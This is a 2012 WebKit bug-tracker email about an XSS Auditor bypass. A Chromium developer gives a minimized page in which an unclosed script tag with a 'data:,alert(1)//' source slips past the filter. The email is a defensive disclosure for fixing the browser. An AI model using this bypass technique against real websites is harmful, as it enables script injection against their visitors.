[Webkit-unassigned] [Bug 81948] XSS Auditor bypass via script tag src=data:, URLS.

Thu Mar 22 12:18:15 PDT 2012

https://bugs.webkit.org/show_bug.cgi?id=81948


--- Comment #1 from Thomas Sepez <tsepez at chromium.org>  2012-03-22 12:18:16 PST ---
A minimized returned page for this looks like:

<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<div class="lol">
<script src="data:,alert(1)//                                                   
<h1>existing page clutter</h1>                                                                
<script type="text/javascript">x = 2;</script>                                  
</body>                                                                         
</html>

-- 
Configure bugmail: https://bugs.webkit.org/userprefs.cgi?tab=email
------- You are receiving this mail because: -------
You are the assignee for the bug.